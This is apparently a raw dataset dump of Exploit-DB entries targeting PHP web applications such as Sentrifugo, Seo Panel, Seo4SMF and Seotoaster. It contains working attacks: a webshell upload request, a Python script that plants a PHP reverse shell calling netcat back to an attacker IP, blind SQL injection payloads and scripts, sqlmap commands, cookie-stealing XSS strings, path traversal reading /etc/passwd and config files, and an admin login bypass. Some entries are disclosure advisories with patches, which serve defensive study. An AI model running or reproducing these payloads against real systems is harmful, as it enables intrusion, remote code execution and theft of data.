deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47323
Description: Sentrifugo 3.2 - File Upload Restriction Bypass
Type: webapps
Platform: php
Date: 2019-08-30
Author: creosote

Exploit:
# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass 
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15813

Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.

File upload bypass locations:

/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)


# POC

1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
2. Turn Burp Intercept On
3. Select webshell with valid extension - ex: shell.php.doc
4. Alter request in the upload...
   Update 'filename' to desired extension. ex: shell.php
   Change content type to 'application/x-httpd-php'

Example exploitation request:

====================================================================================================

POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1
Host: 10.42.1.42
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Length: 494
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]5727507
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5
Connection: close

----------------------------[PII_REDACTED][PII_REDACTED]5727507
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: application/x-httpd-php

<?php $cmd=$_GET['cmd']; system($cmd);?>

----------------------------[PII_REDACTED][PII_REDACTED]5727507
Content-Disposition: form-data; name=""

undefined
----------------------------[PII_REDACTED][PII_REDACTED]5727507
Content-Disposition: form-data; name=""

undefined
----------------------------[PII_REDACTED][PII_REDACTED]5727507--

====================================================================================================

5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.
6. Append above saved parameter and visit your new webshell
   Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/[PII_REDACTED]_5_shell.php?cmd=cat /etc/passwd
Exploit-DB #48179
Description: Sentrifugo HRMS 3.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-03-09
Author: minhnb

Exploit:
# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection
# Exploit Author: minhnb
# Website: 
# Date: 2020-03-06
# Google Dork: N/A
# Vendor: http://www.sapplica.com
# Software Link: http://www.sentrifugo.com/download
# Affected Version: 3.2 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
 
# 1. Technical Description:
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid
# parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource.
# This allows a user of the application without permissions to read sensitive information from
# the database used by the application.
  
# 2. Proof Of Concept (PoC):

POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://localhost/sentrifugo/index.php
Connection: keep-alive
Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh
Accept: */*
Accept-Encoding: gzip,deflate
Content-Length: 98
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save


# 3. Payload:

Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save

# 4. Reference:
Exploit-DB #48998
Description: Sentrifugo Version 3.2 - 'announcements' Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-06
Author: Fatih Çelik

Exploit:
# Exploit Title: Sentrifugo Version 3.2 - 'announcements' Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020.10.06
# Exploit Author: Fatih Çelik
# Vendor Homepage: https://sourceforge.net/projects/sentrifugo/
# Software Link: https://sourceforge.net/projects/sentrifugo/
# Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated.html
# Version: 3.2
# Tested on: Kali Linux 2020.2
# CVE : N/A

import requests
from bs4 import BeautifulSoup
from ast import literal_eval

'''
You should change the below hardcoded inputs to get a reverse shell.
'''

login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave"
upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/announcements/uploadsave"
call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/ca_temp/"
username = "xxx"
password = "xxx"

attacker_ip = "XXX.XXX.XXX.XXX"
listener_port = "4444"

# Set proxy for debugging purposes

proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"}

# Log in to the system

session = requests.Session()
request = session.get(login_url)
body = {"username":username,"password":password}
# session.post(login_url, data=body, proxies=proxy) 
session.post(login_url, data=body) # Send a request without proxy
print("Logged in to the application..")

# Upload the PHP shell
files = [
    ('myfile', 
        ('shell.php',
        '<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port),
        'image/jpeg')
    )
]
# r = session.post(upload_url, files=files, proxies=proxy)
r = session.post(upload_url, files=files) # Send a request without proxy
response = r.content
dict_str = response.decode("UTF-8")
response = literal_eval(dict_str) # Convert bytes to dictionary
filename = response["filedata"]["new_name"]
url = call_shell + filename
print("PHP file is uploaded --> {}".format(url))

# Trigger the shell

session.get(url)
Exploit-DB #39210
Description: Seo Panel - 'file' Directory Traversal
Type: webapps
Platform: php
Date: 2014-05-15
Author: Eric Sesterhenn

Exploit:
source: https://www.securityfocus.com/bid/67911/info

Seo Panel is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Remote attackers can use a specially crafted request with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application. Information obtained could aid in further attacks.

Seo Panel 3.4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/seopanel/download.php?file=/etc/purple/prefs.xml
Exploit-DB #15459
Description: Seo Panel 2.1.0 - Critical File Disclosure
Type: webapps
Platform: php
Date: 2010-11-08
Author: MaXe

Exploit:
Title: Seo Panel 2.1.0 - Critical File Disclosure

Body:
Seo Panel - Critical File Disclosure
http://www.exploit-db.com/finding-0days-in-web-applications/

Versions Affected: 2.1.0 (previous versions were not checked.)

Info:
A complete open source seo control panel for managing search engine optimization of your websites.
Seo Panel is a seo tool kit includes latest hot seo tools to increase and track the performace of your websites. 

External Links:
http://www.seopanel.in/

Credits: MaXe (@InterN0T)


-:: The Advisory ::-
Seo Panel is prone to Critical File Disclosure due to download.php does not sanitize user-
input properly via the "file" GET-parameter. 
By using ....// instead of ../ to traverse through directories and by appending a %00 byte
in the end of the request it is possible to load virtually any file that the webserver user has
read access to. The PHP function which reads & returns the data from the file is: readfile($var);


Proof of Concept URL:
http://example.tld/seopanel/download.php?filesec=sitemap&filetype=text&file=....//config/sp-config.php%00.txt

Note: This attack requires a valid user though it works regardless of any privileges the user might have. 
(User registrations are enabled by default as well, making this attack possible in most scenarios.)


-:: Solution ::-
download.ctrl.php: (Line 55-62)
55	function isValidFile($fileName) {
56		$fileName = urldecode($fileName);
		// This tries to prevent directory traversal
57		$fileName = str_replace('../', '', $fileName);
58		if (preg_match('/\.xml$|\.html$|\.txt$/i', $fileName)) {
59			return $fileName;
60		}		
61		return false;
62	}
	
Suggested patch: (Line 55-62)
55	function isValidFile($fileName) {
56		$fileName = urldecode($fileName);
		// This isn't as easy to bypass anymore
57		$fileName = str_replace('..', '', $fileName); // This is changed.
58		if (preg_match('/\.xml$|\.html$|\.txt$/i', $fileName)) {
59			return $fileName;
60		}		
61		return false;
62	}


Disclosure Information:
- Vulnerabilities found and researched: 31st October 2010
- Full Disclosure ~Early November 2010
Exploit-DB #16000
Description: Seo Panel 2.2.0 - Cookie-Rendered Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-16
Author: Mark Stanislav

Exploit:
'Seo Panel' Cookie-Rendered Persistent XSS Vulnerability (CVE-2010-4331)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in 'Seo Panel' page rendering which allows for unfiltered, unencrypted content to be presented to a user through two different cookies.

 
II. TESTED VERSION
---------------------------------------
2.2.0


III. PoC EXPLOIT
---------------------------------------
Alter the value of cookies called 'default_news' or 'sponsors' and then view a site page which includes controllers/index.ctrl.php or controllers/settings.ctrl.php that will render the cookies as they exist on the user's machine.


IV. NOTES 
---------------------------------------
* The 'default_news' cookie doesn't require a user to be authenticated whereas 'sponsors' does
* The disclosure date was pushed a full month so that a fix could be released but no update was released yet
* Based on discussions with the developer, they will likely encrypt the cookie contents to prevent this issue


V. SOLUTION
---------------------------------------
Upgrade to a release > 2.2.0 when available or otherwise disable cookie rendering.


VI. REFERENCES
---------------------------------------
http://www.seopanel.in/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4331
http://www.uncompiled.com/2011/01/seo-panel-cookie-rendered-persistent-xss-vulnerability-cve-2010-4331/


VII. TIMELINE
---------------------------------------
11/24/2010 - Initial vendor disclosure
11/25/2010 - Vendor response and commitment to fix
11/25/2010 - Reply to vendor detailing potential fixes and an adjusted public disclosure date
11/25/2010 - Vendor response confirming desired public disclosure date and agreement to patch method
01/15/2011 - Public disclosure
Exploit-DB #16175
Description: Seo Panel 2.2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-15
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22824
Reference: http://www.htbridge.ch/advisory/sql_injection_in_seo_panel_1.html
Product: Seo Panel
Vendor: http://www.seopanel.in/ ( http://www.seopanel.in/ )
Vulnerable Version: 2.2.0
Vendor Notification: 01 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/websites.php" script to properly sanitize user-supplied input in "url" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

POST /websites.php HTTP/1.1

sec=create&name=123&url=http%3A%2F%2F123'%2Cversion()%2C1%2C1%2C2%2C1)%2
0--%20&title=1&description=1&keywords=1

Vulnerability ID: HTB22823
Reference: http://www.htbridge.ch/advisory/sql_injection_in_seo_panel.html
Product: Seo Panel
Vendor: http://www.seopanel.in/ ( http://www.seopanel.in/ )
Vulnerable Version: 2.2.0
Vendor Notification: 01 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "lang_code" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/index.php?&lang_code=1%27SQL_CODE_HERE
Exploit-DB #49932
Description: Seo Panel 4.8.0 - 'category' Reflected XSS
Type: webapps
Platform: php
Date: 2021-06-02
Author: Piyush Patil

Exploit:
# Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS
# Date: 22-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28418


-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit:
http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
3- Hover your mouse to "Cancel" field
Exploit-DB #49935
Description: Seo Panel 4.8.0 - 'from_time' Reflected XSS
Type: webapps
Platform: php
Date: 2021-06-03
Author: Piyush Patil

Exploit:
# Exploit Title: Seo Panel 4.8.0 - 'from_time' Reflected XSS
# Date: 23-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28420

-Description:
A cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote
attackers to inject JavaScript via alerts.php and the "from_time" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit: http://localhost/alerts.php?alert_category=general&from_time=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&keyword=&to_time=2021-03-11
3- Hover your mouse to "Period" field
Exploit-DB #49666
Description: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (1)
Type: webapps
Platform: php
Date: 2021-03-18
Author: Piyush Patil

Exploit:
# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (1)
# Date: 17/02/2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link: https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: 4.8.0


# Reference - https://github.com/seopanel/Seo-Panel/issues/209

Step 1 - Login to the SEO Panel with admin credentials.
Step 2 - Go to archive.php
Step 3 - Change "order_col" value to "*" and copy the request
Command: sqlmap -r request.txt --batch --level 5 --risk 3 --dbms MYSQL
--dbs --technique=T --flush-session
Exploit-DB #49804
Description: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)
Type: webapps
Platform: php
Date: 2021-04-26
Author: nu11secur1ty

Exploit:
# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 04/25/2021
# Vendor: https://www.seopanel.org/
# Link: https://www.seopanel.org/spdownload/4.8.0
# CVE: CVE-2021-28419

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28419

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://192.168.1.3/seopanel/login.php"

#enter your login username
username="spadmin"

#enter your login password
[CREDENTIAL_REDACTED]"

#enter the element for username input field
element_for_username="userName"

#enter the element for password input field
element_for_[CREDENTIAL_REDACTED]"

#enter the element for submit button
element_for_submit="login"


browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit
browser.get(("
http://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT
7397 FROM
(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1"))

print("payload is deployed MySQL is not responding correctly...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
Exploit-DB #49931
Description: Seo Panel 4.8.0 - 'search_name' Reflected XSS
Type: webapps
Platform: php
Date: 2021-06-02
Author: Piyush Patil

Exploit:
# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS
# Date: 21-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28417


-Description:
 A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Add below line at the end:
http://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com
3- Hover your mouse near to "CTR" field
Exploit-DB #7723
Description: Seo4SMF for SMF forums - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-01-11
Author: WHK

Exploit:
[1] Inyection SQL

Linea 50 al 63
$query = db_query("
SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name
FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b
WHERE m.ID_TOPIC = *$topic*
AND m.ID_BOARD = b.ID_BOARD
IMIT 1", __FILE__, __LINE__);

------------------------------------------------------------------------

Linea 105 al 108
$query = db_query("
SELECT name FROM {$db_prefix}boards AS b
WHERE ID_BOARD = *$board*
LIMIT 1", __FILE__, __LINE__);

------------------------------------------------------------------------

Linea 125
$request = db_query("SELECT memberName FROM {$db_prefix}members where
ID_MEMBER=".*$user*." limit 1", __FILE__, __LINE__);

------------------------------------------------------------------------

Linea 143
$request = db_query("SELECT subject FROM {$db_prefix}tp_articles where
id=".*$tpage*." limit 1", __FILE__, __LINE__);

Where:

Linea 7 al 13
$topic = $_GET['t'];
$board = $_GET['b'];
$other = $_GET['o'];
$user = $_GET['u'];
$tpage = $_GET['p'];
$action = $_GET['a'];
$param = $_GET['param'];


Now execute the proof of concept:
http://localhost/smf/seo4smf-redirect.php?t=-1 union select 1,2,3â€¦(numero de columnas)â€¦,concat(username(),database()) â€“
GoogleDorks: http://www.google.cl/search?hl=es&q=allinurl%3Aseo4smf-redirect.php&btnG=Buscar+con+Google&meta=

[2] Inyection of headers, Cross site Scripting and Path disclosure:
Source:

if(!empty <http://www.php.net/empty>($url)){
header <http://www.php.net/header>('HTTP/1.1 301 Moved Permanently');
header <http://www.php.net/header>('Location: '.$url);
exit <http://www.php.net/exit>;
}


The proof of concept:
http://localhost/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);
Real test: http://www.jccharry.com/archivos_publicos/xss_seo4smf.png
Or print the error with path disclosure.

[3] Disclosure in topics:
http://localhost/seo4smf-redirect.php?t=[number 1 to total topics].new/topicseen
This return the privates forumnames and topicnames.

[4] Cross site request forgery and inyection of arbitrary code
Source:
if (isset($_POST['htaccess']))
{
$htaccess = stripslashes($_POST['htaccess']);

//str_replace("\\\\","\\",$htaccess);
file_put_contents($boarddir."/.htaccess", $htaccess);
}
csrf -> .htaccess rewrited -> pwned!
and xml files.

exploits and more in
http://foro.elhacker.net/bugs_y_exploits/falla_en_el_mod_seo4smf_para_smf-t241029.0.html
and
http://www.jccharry.com/blog/2009/01/09/whk_fallas-criticas-en-seo4smf-para-foros-smf-simplemachines-forum.html

-={[unica_inc algÃºn dia estaremos juntos]}=-

# milw0rm.com [2009-01-11]
Exploit-DB #18246
Description: Seotoaster - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-16
Author: Stefan Schurtz

Exploit:
#################################################################################
# Advisory:		Seotoaster SQL-Injection Admin Login Bypass
# Author:       		Stefan Schurtz
# Contact:      		sschurtz@t-online.de
# Affected Software:    	Successfully tested on Seotoaster v.1.9
# Vendor URL:       	http://www.seotoaster.com/
# Vendor Status:    	fixed
#################################################################################

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go
or
http://<target>/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

========
Credits
========

Vulnerabilitiy found and advisory written by Stefan Schurtz

===========
References
===========

http://secunia.com/advisories/46881/